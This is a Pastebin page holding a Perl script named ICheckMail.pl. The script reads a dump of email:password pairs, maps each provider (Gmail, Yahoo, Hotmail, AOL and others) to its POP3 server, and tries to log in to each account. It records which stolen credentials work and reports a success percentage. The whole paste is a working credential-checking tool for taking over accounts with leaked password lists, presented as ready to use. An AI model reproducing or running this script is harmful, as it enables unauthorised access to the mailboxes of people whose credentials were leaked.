Advertisement
i-Hmx

mail checker - perl

Aug 31st, 2012
946
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.77 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3.  
  4. # USAGE :
  5. # ICheckMail.pl <login_&_pass_list.txt> <results.txt>
  6. # <login_&_pass_list.txt> must be formatted like this:  username@provider.xxx:pass
  7. # example :
  8. # ICheckMail.pl dump.txt results.txt
  9.  
  10.  
  11. if(@ARGV!= 2){&usage;}
  12. else{
  13. print "\n";
  14. print "-------------------------------\n";
  15. print "-        ICheckMail.pl        -\n";
  16. print "-------------------------------\n";
  17. print "-        Version 1.00        -\n";
  18. print "-------------------------------\n";
  19. print "\n";
  20. print "Starting...\n";
  21. print "\n";
  22.  
  23.  
  24. $loginlist = $ARGV[0];
  25. $resultlist = $ARGV[1];
  26. $comptcourant = 0;
  27. $comptpo = 0;
  28. sub test($$);
  29.  
  30.  
  31.  
  32.  
  33. open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
  34.     @tab = <MYFILE>;
  35.     chomp(@tab);
  36.     $total = scalar @tab;
  37.  
  38.     print "$total email accounts to check\n";
  39.     print "\n";
  40.  
  41.  
  42.     open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
  43.     print "Openning file $loginlist\n";
  44.     print "Connecting to POP servers...\n";
  45.     print "\n";
  46.  
  47.  
  48. while(my $ligne = <MYFILE>){
  49.    
  50.     chomp($ligne);
  51.    
  52.     @details = split(/[@,:]/,$ligne);
  53.  
  54.  
  55.     #$details[0] = user
  56.    #$details[1] = provider
  57.    #$details[2] = pass
  58.  
  59.  
  60. if(($details[0]) and ($details[1]) and ($details[2])){
  61.         $details[0] =~tr/[A-Z]/[a-z]/;
  62.         $details[1] =~tr/[A-Z]/[a-z]/;
  63.         $comptcourant = $comptcourant + 1;
  64.         $port = "110";
  65.         $SSL = 0;
  66.         $AUTH_MODE = 'BEST';
  67.  
  68.  
  69.  
  70.  
  71. # Beginning of POP servers list (modify it !!)
  72.  
  73.  
  74.  
  75.  
  76. if  
  77.     ($details[1] =~ m/aol/)                    # Aol
  78.    {$pop = "pop.aol.com";}
  79. elsif
  80.     ($details[1] =~ m/gmail/)                # gmail =====> SSL
  81.    {$pop = "pop.gmail.com";
  82.     $port = "995";
  83.     $SSL = 1;}
  84. elsif
  85.     ($details[1] =~ m/googlemail/)                # gmail =====> SSL
  86.    {$pop = "pop.gmail.com";
  87.     $port = "995";
  88.     $SSL = 1;}
  89. elsif
  90.     ($details[1] =~ m/web/)                # web.de =====> SSL
  91.    {$pop = "pop3.web.de";
  92.     $port = "995";
  93.     $SSL = 1;}
  94. elsif
  95.     ($details[1] =~ m/bol.com/)                # bol.com.br =====> SSL
  96.    {$pop = "pop3.bol.com.br";
  97.     $port = "995";
  98.     $SSL = 1;}
  99. elsif
  100.     ($details[1] =~ m/gmx/)                    # gmx =====> SSL
  101.    {$pop = "pop.gmx.com";
  102.     $port = "995";
  103.     $SSL = 1;
  104.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  105. elsif
  106.     ($details[1] =~ m/caramail/)            # gmx =====> SSL
  107.    {$pop = "pop.gmx.com";
  108.     $port = "995";
  109.     $SSL = 1;
  110.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  111. elsif
  112.     ($details[1] =~ m/hotmail/)                # hotmail =====> SSL
  113.    {$pop = "pop3.live.com";
  114.     $port = "995";
  115.     $SSL = 1;
  116.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  117. elsif
  118.     ($details[1] =~ m/live/)                # live =====> SSL
  119.    {$pop = "pop3.live.com";
  120.     $port = "995";
  121.     $SSL = 1;
  122.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  123. elsif
  124.     ($details[1] =~ m/msn/)                    # msn =====> SSL
  125.    {$pop = "pop3.live.com";
  126.     $port = "995";
  127.     $SSL = 1;
  128.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  129. elsif
  130.     ($details[1] =~ m/yahoo/)                # yahoo ======> SSL
  131.    {$pop = "pop.mail.yahoo.com";
  132.     $port = "995";
  133.     $SSL = 1;}
  134. elsif
  135.     ($details[1] =~ m/ymail/)                # yahoo ======> SSL
  136.    {$pop = "pop.mail.yahoo.com";
  137.     $port = "995";
  138.     $SSL = 1;}
  139. elsif
  140.     ($details[1] =~ m/talktalk/)                # TalkTalk
  141.    {$pop = "mail.talktalk.net";
  142.     $port = "110";
  143.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  144. elsif
  145.     ($details[1] =~ m/tiscali/)                # Tiscali
  146.    {$pop = "pop.tiscali.co.uk";
  147.     $port = "110";
  148.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  149. elsif
  150.     ($details[1] =~ m/att/)                # ATT ======> SSL
  151.    {$pop = "pop.att.yahoo.com";
  152.     $port = "995";
  153.     $SSL = 1;
  154.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  155. elsif
  156.     ($details[1] =~ m/sapo/)                # Sapo
  157.    {$pop = "pop.sapo.pt";
  158.     $port = "110";
  159.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  160. elsif
  161.     ($details[1] =~ m/sky/)                # SKY ======> SSL
  162.    {$pop = "pop.tools.sky.com";
  163.     $port = "995";
  164.     $SSL = 1;
  165.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  166. elsif
  167.     ($details[1] =~ m/me/)                # me.com ======> SSL
  168.    {$pop = "mail.mac.com";
  169.     $port = "587";
  170.     $SSL = 1;}
  171. elsif
  172.     ($details[1] =~ m/rediffmail/)                # Rediffmail
  173.    {$pop = "pop.rediffmail.com";
  174.     $port = "110";
  175.     $details[0] = $details[0]."@".$details[1];}  # user is composed xxxx@xxx
  176.  
  177.  
  178. else
  179.     {$pop = "UNKNOWN POP !!";}
  180.  
  181.  
  182. # End of POP servers list
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191. if ($details[0] =~ m/\@/)
  192.     { print "$comptcourant:$total EMAIL $details[0]    PASS $details[2]    ";}
  193. else
  194.     {print "$comptcourant:$total EMAIL $details[0]\@$details[1]    PASS $details[2]    ";}
  195.            
  196. if(test($details[0],$details[2]))
  197.     {$result = "OK";
  198.     $comptpo = $comptpo + 1;
  199.     print "OK\n";}
  200. else
  201.     {$result = "NO";
  202.     print "NO\n";}
  203. }
  204.  
  205.  
  206. else
  207.     {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
  208.     print "Process stopped...\n";
  209.     exit(1);}
  210.  
  211.  
  212.  
  213.  
  214. open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
  215. if ($details[0] =~ m/\@/)
  216.     {print LOG "$details[0]:$details[2]:$result:$pop\n";}
  217. else
  218.     {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
  219.     close(LOG);
  220. }
  221.  
  222.  
  223.  
  224.  
  225. $stat = sprintf("%.2f",(($comptpo * 100) / $total));
  226.  
  227.  
  228.  
  229.  
  230. open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
  231. print LOG "\n";
  232. print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
  233. print LOG "\n";
  234. close(LOG);
  235.  
  236.  
  237.  
  238.  
  239. print "\n";
  240. print "Writing results in $resultlist\n";
  241. print "\n";
  242. print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
  243. }
  244.  
  245.  
  246.  
  247.  
  248. sub test($$){
  249.   $user = $_[0];
  250.   $pass = $_[1];
  251.  
  252.  
  253. use Mail::POP3Client;
  254. $mail = new Mail::POP3Client( HOST  => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
  255. $mail->User( $user );
  256. $mail->Pass( $pass );
  257. $mail->Port( $port );
  258.  
  259.     if( $mail->Connect == 0 ) # 0=NO 1=OK
  260.        {return 0;}
  261.     else
  262.         {return 1;}
  263. }
  264.  
  265.  
  266.  
  267.   sub usage{
  268.     print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
  269.     print "[-] <input.txt> must be formatted like this:  login\@provider.com:pass\n";
  270.     print "[-] example :";
  271.     print "[-] ICheckMail.pl dump.txt results.txt\n";
  272.     die("[!] Usage incorrect !!\n");
  273. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement